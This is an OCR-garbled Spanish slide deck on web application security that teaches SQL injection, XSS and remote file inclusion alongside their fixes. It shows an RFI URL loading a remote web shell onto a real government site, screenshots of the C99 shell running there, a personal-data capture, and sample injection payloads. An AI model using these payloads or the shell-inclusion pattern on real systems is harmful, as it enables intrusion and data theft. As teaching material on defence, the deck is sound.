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Hoy en dia, con la cantidad de informacion que se
encuentra distribuida en internet, resulta bastante
sencillo que cualquier persona normal pueda
montar un sitio web, pero ¢ cuantos de ellos se
preocupan por la seguridad?
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Conceptos de seguridad de la informacion.

., Qué es seguridad de la informacion?




Conceptos de seguridad de la informacion.

Componentes basicos de la seguridad de la

iInformacion:
* Integridad
* Confidencialidad
- Disponibilidad



Conceptos de seguridad de la informacion.

Integridad es el principio donde los objetos
retienen su veracidad y son modificados
Intencionalmente unicamente por sujetos

autorizados.




Conceptos de seguridad de la informacion.

Confidencialidad es el principio donde los objetos
no son revelados a sujetos no autorizados.




Conceptos de seguridad de la informacion.

Disponibilidad es el principio donde a los sujetos

autorizados se les garantiza el acceso oportuno a

los objetos, con suficiente velocidad para realizar
las operaciones.




Proceso de acceso

El proceso de acceso se compone de:
|dentificacion
Autenticacion
Autorizacion



Proceso de acceso

|dentificacion: Es el proceso en el cual el sujeto se
identifica.




Proceso de acceso

Autenticacion: Es el proceso en el cual el sujeto
comprueba su identidad. Se puede realizar
mediante:

Algo que se sabe. Ej, contrasena
Algo que se tiene. Ej, token
Algo que se es. Ej, huella




Aseguramiento de Servicios

Una aplicacion Web basicamente esta basada en los siguientes
servicios:

Servidor Web (Apache, IIS, NS)

Servidor de Base de Datos
(MS-Sql, Oracle, Mysq|, Postgres, Sybase) Sl server

Interpretador de Lenguaje

anananan

(Asp, php, jsp) asenc - (BAB)



Aseguramiento de Servicios

Los servicios se pueden ejecutar como:

ANONYMOUS

USUARIO LIMITADO

USUARIO CON PRIVILEGIOS

USUARIO ADMINISTRADOR



Aseguramiento de Servicios

Cuando un servicio es vulnerado, es posible ejecutar
comandos en el sistema con los permisos del usuario que lo
ejecuta. Por esta razon, se recomienda ejecutar servicios
desde usuarios de bajos privilegios.




Seguridad en las comunicaciones

*El protocolo http no provee mecanismos de cifrado, de modo que es posible
interceptar todo el trafico entre un cliente y un servidor, incluyendo inicios de
sesion si no utilizan mecanismos de seguridad.

*El protocolo seguro HTTPS utiliza mecanismos de seguridad (como tls o http sobre
ssl) para garantizar la integridad y confidencialidad de la informacion.

*Para procesos Web criticos como inicios de sesion o consultas bancarias se
recomienda el uso de protocolo seguro para evitar la intercepcion.



Manejo de Contrasefias

Para proteger el acceso a servicios o procesos de administracion se utilizan
diversos mecanismos de autenticacion, entre ellos contrasenas.

L as contrasefas son tan fuertes como su complejidad. Una contraseia basada
en diccionario puede romperse en segundos.

*El uso de contraseinas de mas de 8 caracteres alfanumeéricos previene los
ataques de diccionario y/o adivinacion.

*L.os mecanismos de bloqueo tras intentos fallidos protegen contra ataques de
fuerza bruta y/o diccionario



Validacion de entrada de datos

“Toda entrada de datos es mala hasta que se demuestre lo contrario”

La mayoria de problemas de seguridad existentes en los sitios Web se deben a
la ausencia o inadecuado manejo de la validacion de entrada de datos. Los
problemas mas comunes de este tipo son:

sInyecciones SQL

«XSS: Cross Site Scripting

*XSRF: Cross Site Request Forgery
*RFIl: Remote File Inclusion

Como contramedida, se recomienda generar “listas blancas” para permitir
determinados caracteres y bloquear los demas caracteres no listados.



Inyecciones SQL

La inyeccion SQL es una debilidad que se produce al no validar la entrada de
datos, de modo que es posible realizar consultas directas en la base de datos a
partir de una forma.
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Remote File Inclusion

La inclusién remota de archivos, es una debilidad (en decadencia) en la cual era

posible incluir un archivo remoto en una aplicacion web.

==

#Finclude <windows. b
#include <stfio. b=

It WINAPI winMain (HINSTAMCE hThisInstance,
HIMSTANCE hPrevInstance,

LPSTR TpszAargument,

}nt AFuUnsterstil)

MessageBoxal

MULL,

A g no me hookean”,
"A g no me hookean”,
MEBE_ Ok

;3

Feturn O;




Manejo de Errores

*Los errores descriptivos pueden ser utiles cuando se desarrolla una aplicacion; pero
cuando la aplicacion se encuentra en produccion, un error descriptivo podria darle
informacién a un usuario malintencionado para la planeacion de un ataque.

*La estrategia tipica de un atacante consiste en solicitar informacion que genere errores y
analizar la informacion suministrada por el error.

Para evitar la recopilacion de informacion por parte de un atacante, se recomienda filtrar
los mensajes de error cuando el aplicativo se encuentre en produccion.

Warning: include() [function.include]: URL file-access is disabled in the server configuration in
/lvm/0402/vuser03/8/4/0046848/www.visiondesign.jp/DEMO/index.php on line 4

Warning: include(http://www.visiondesign.jp/DEMO/head_index.php) [function.include]: failed to open stream: no suitable wrapper could
be found in /lvm/0402/vuser03/8/4/0046848/www.visiondesign.jp/DEMO/index.php on line 4

Warning: include() [function.include]: Failed opening 'http://www.visiondesign.jp/DEMO/head_index.php' for inclusion
(include_path=".:/usr/local/php5/lib/php") in /lvm/0402/vuser03/8/4/0046848/www.visiondesign.jp/DEMO/index.php on line 4



Shells Web

Las shells web son programas escritos en lenguaje Web
(php, asp, jsp) que permiten ejecutar comandos
remotamente desde un navegador Web

ye —




Un caso de la vida real.
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Un caso de la vida real.

ﬁ http: fi=egob . qroo. gob. i Transparencia. phptinclude_path="http:{/Freewebs. comfbucio/shell. bxk?! ; .@T Google

Problema al cargar la pagina X R -.Secretal:'ﬁ de Gobierno  EJ _‘ Grupo Parlamentario del PRI e. .. B B hktp:f fmetoS7S7, . lsic99rsg. bk X ﬁ i
Duintana Roo, Julio 27, 2007 Unidades Administrativas Portal del Gobierno ‘Transparencia I;ﬁi_j:i:u-

: Bienvenidos
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Un caso de la vida real.

3 transparencia. qroo.gob.mx - phpshell - Mozilla Firefox g i g

e o - 77
archiva  Editar  MWer  Historial  Marcadores  Herramientas  Ayuda A

A"l = l"‘b@ = f’? 1‘[ [ ] http:fitransparencia. groo, gob. mx Transparencia/Include., php?IdUbicacion=3&Pagina=http: /imetoS7S7 by rufshellsfct (= GO E, Googls Q R

B 0x000000 < The Hac...

. Sentimientos Geek - Ha,.. B3 B hittpef . . 200ser B M rroblema sl cargar la p... B . kransparencia.qroo.g... X @ ] Grupo Parlamentario del ... B R hittp:ffmetos. . fc99rsg. bxk B B unidadde Transparer. .. B -

$C99Shell v. 1.0 pre-release build #16 & :

Software: Apachef2.2.0 (LinuxfSUSE). PHP/5.1.2

#1 SMP Wed May 3 04:53:23 UTC 2006 #8664
uid=30{wwwrun)} gid=8{www) groups=8{www)
Safe-mode:

Fsrv fwww fhtdocs ftransparenciafTransparenciaf drwxr-sr-=
Free 18.05 GB of 20 GB (90.25% )

| . .
ﬁ = S i-? . % Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Owned by hacker

Listing folder (110 files and 4 folders):

MName & Size Modify OwnerfGroup Perms Action

=] LINK 22.07.2007 15:41:19 10014100 drwxr-xr-x Li |

G . LIME 26,07.2007 115252 1001/100 drwxr-sr-= 0 i

| [Iragenes] DIR 22.07.2007 15:41:19 10017100 drwsr-gr-x Li |

B | [ImgEscudos] DIR 22.07.2007 15:41:19 1001100 drwxr-sr-® Li

B | [Librerias] DIR 22.07.2007 15:41:19 1001100 drwsr-®r-x ﬂ i

B [fant] DIR 22.07.2007 15:41:19 1001100 drwxr-sr-® ﬂ [ |
AccionBusquedalbir.php 9.6 KB 22.07.2007 15:41:1%9 10014100 -FW-r--r-- ﬂ | 2 |
AccionBusquedabirz.php £.36 KB 22,07.2007 15:41:19 10014100 -PW-P--p-- DF - =
AccionBusquedaDirs php 9.04 KB 22,07.2007 15:41:19 10014100 T DF =
arbol.php 5.04 KB 22.07.2007 154119 1001/100 -PW-F--F-- OF -~ n
ArchivoEventos . php 4.2 KB 22.07.2007 154119 10014100 -FW-p--p-- DE -1
Auditoria.php 123 KB 22.07.2007 15:41:19 1001/100 ~PW-F---- Li S
Buscalotas.php 1.368 KB 22.07.2007 1541119 10014100 -FW-p--p-- Ui e
BuscaNotasZ.php 1.38 KB 22,07.2007 15:41:19 10014100 —FW-r--p-- Li



Un caso de la vida real.

) transparencia. qroo.sob.mx - N3t - Mozilla Firefox - 2 @
archivo  Edikar  Wer  Hiskorial  Marcadores  Herramienkas  Ayuda JI
@ = J f:; h ‘ http:fitransparencia. groa, gob. mx Transparencia/config. php? - GO E Google Q iy

B 0xo00000 < The Hac. ..

Software: Apachef2.2.0 (Linux fSUSE). [

uname -a: Linux utaippe 2.6.16.13-4-smp #1 SMP Wed May 3 04:53:23 UTC 2006 x86_064
uid=30{wwwrun) gid=8{www) groups=8{www)
Safe-mode:

Free 18.06 GB of 20 GB {(90.29%)

A - --E2BE QS

Owned by Spyn3t

Listing folder {112 files and 4 folders):

Name & Si Mod wner /i Action

B LINK 29.07.2007 16:34:25 10014100 (il |

5 LIMK 26.07.2007 11:52:52 10014100 (il |

W} DIR. 22.07.2007 15:41:19 10014100 il |

M [ DIR. 22.07.2007 15:41:19 10014100 (il |

| DIR. 22.07.2007 15:41:19 10014100 il |

- DIR. 22.07.2007 15:41:19 10014100 (i N |
9.6 KB 22,07.2007 15:41:19 10014100 DF N
6.33 KB 22.07.2007 15:41:19 10014100 2F =N
9.04 KB 22.07.2007 15:41:19 10014100 2F =1
5.04 KB 22,07.2007 15:41:19 10014100 DF -1
4.2 KB 22,07.2007 15:41:19 10014100 2F -0
1.23 KB 22.07.2007 15:41:19 1001/100 2F - R
1.38 KB 22.07.2007 15:41:19 10014100 2F-R
1.38 KB 22.07.2007 15:41:19 10014100 2F - n
4.7 KB 22.07.2007 15:41:19 10014100 i B
. [ I s o pa—



Un caso de la vida real.

Software: Apachef2.2.0 (LinuxfSUSE). | . 1
uname -a: Linux utaippe 2.6.16.13-4-smp #1 EHP Wed May 3 04:53:23 UTC 2006 x86_64

uid=30(wwwrun) gid=8{www) groups=8{wwu)
Safe-mode:

Free 18.06 GE of 20 GB (90.29%)

A - =B & &

¥iewing file: Include.php {212 B)
Select actionfile-type:

Q. 8 ) B ) ok ) | Session (+) | 1) sop ) | By By ey By B
I Save ” Resek ” Back, I

nclude{" JLibreriasiConfMivel2.inc™;
ncludel"Librerias/E_Mivell .inc");

nclude ¢, fconecta, php™ |

dConexion=new DBAccess{$host, $usuario, $clave, $Basebatos);
includel$Pagina);

i onexion- =MClosel);

7 =




Un caso de la vida real.

Al momento de incluir la variable $pagina permite incluir
archivos sin filtros.
< ?PHP

$url=".I'"$_GET['Pagina']; // o en nibel superior: $url="./paginas/".$_GET['page;

include($url); //esto obliga a que "page" sea parte del dominio, de no encontrar el archivo devolvera un Warning como este:
//Warning: include() [function.include]: Failed opening " for inclusion (include_path=".:/usr/lib/php:/usr/local/lib/php') in
/home/newbie/www/rfi.php on line 3

/I El problema cuando se ve este mensaje, es que indicas al atacante que la inclusion es a la pagina que le pones en la URL,
ademas se ve una especie de error y no queremos que pase eso.

7>

< ?PHP

$url=".I'"$_GET['Paginas']; // o en nivel superior: $url="./paginas/'.$_GET['Paginas';
If(ifile($url)){

$url="./pagina_por_defecto.php';

include($url); //no devolvera ningun warning y mostrara la informacion por defecto de nuestra pagina
>



SQL inyection

Es una vulnerabilidad de las Web, que afectan
directamente a las bases de datos de una aplicacion, El
problema radica al filtrar erroneamente las variables
utilizadas en parte de la pagina con codigo SQL.



SQL inyection

Ejemplo: Suponiendo, tenemos la siguiente consulta:

SELECT * FROM usuarios WHERE user = 'administrador’
AND password='$_POST['password']



SQL inyection

Obviamente esperamos que $ POST['password']
contenga la contrasena del usuario, pero

;. Que pasaria si $ POST['password'] =" or 'a'="a?
Obtendriamos algo como lo siguiente:

SELECT * FROM usuarios WHERE user = 'administrador’
AND password=" OR 'a'='a’



SQL inyection

Medidas para solucionar el problema

Escapara todos los datos externos que seran
introducidos en la consulta. PHP tiene funciones
especiales: addslashes y

mysqgl _real escape_string.




SQL inyection

&ﬁuiﬁtana "Roo UTAIPPE

Wiermes 27 de Julio de 2007

En Transparencia
Siempre hacia delante

(ioecen ||\ Salicirudes |

; ~ L L
José cuauhbémoc Cardiel Coronel [Administracion] [Cerrar sesidn]

Captura de solicitudes
[Seguimiento de solicitudes

IDatos personales
[Datos adicionales

[Cambiar contrasefia ﬁf
[ - B
Carrar sesian

Datos personales de la cuenta.

Insurgentes
Hoamero: 58
Colonia : kagisterial
Codigo Postal @ 77039
Cruzamientas ; | Tecnoladgico de Tuxtla Gutierrez
Localidad @ Chetumal
rMunicipio @ |Othan F. Blanco

Estado : Quintana Roo

[ Actualizar Datos ]




SQL inyection

Medidas para solucionar el problema

Escapara todos los datos externos que seran
introducidos en la consulta. PHP tiene funciones
especiales: addslashes y

mysqgl _real escape_string.




Cross Site Scripting (XSS)

Es el ataque basado en la explotacion de
vulnerabilidades del sistema de validacion de
HTML incrustado. El problema es que
normalmente no se valida correctamente. Esta
vulnerabilidad puede estar presente de forma
directa (foros, mensajes de error) o indirecta
(redirecciones, framesets). Cada una se trata de

forma diferente.



Cross Site Scripting (XSS)

<form action="buscar.php" method="get">
Busqueda <input type="text" name="q">
</form>
<?php echo "Hay ".$cantidad.” de resultados

encontrados con su busqueda ". $ GET['q"?>



Cross Site Scripting (XSS)

Si en el formulario anterior se hace una busqueda
con este termino:
<script>alert("xss")</script>

Nos saldria una ventanita con con XSS de
contenido



Cross Site Scripting (XSS)

Pero de que me sirve o que riesgo tengo con esa
ventanitag,?



Cross Site Scripting (XSS)

Para solucionar este problema utilizaremos la
funcion htmlentities(), quien convierte los
caracteres especiales en su entidad html por
ejemplo el caracter < en &lt;, > en &gt;, etc.



RECOMENDACIONES



RECOMENDACIONES

— Asegurar el servidor en una forma fundamental:
el sistema operativo, ya sea por medio de
actualizaciones (parches) y habilitando los
mecanismos propios de la plataforma.

— Garantizar la seguridad del servidor web
propiamente (IS, Apache, etc.)

— Auditar las aplicaciones que interactuan en las
dos capas anteriores (modulos, bibliotecas).






REFERENCIAS

nttp://mis-algoritmos.com/seguridad-en-aplicaciones-
nttp://es.wikipedia.org/wiki/Seguridad_de la_informa
nttp://google.com.mx
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JPREGUNTAS?




‘Nombre: Rafael Bucio
*Twitter: @Bucio
Blog: http://Bucio.commx

.IM: Rafael@Bucio.com.mx | hackerss.com
*Proyectos Involucrados:
www.Debian-mx.com
www.Debian-ar.org
www.hackerss.com



http://Bucio.com.mx/
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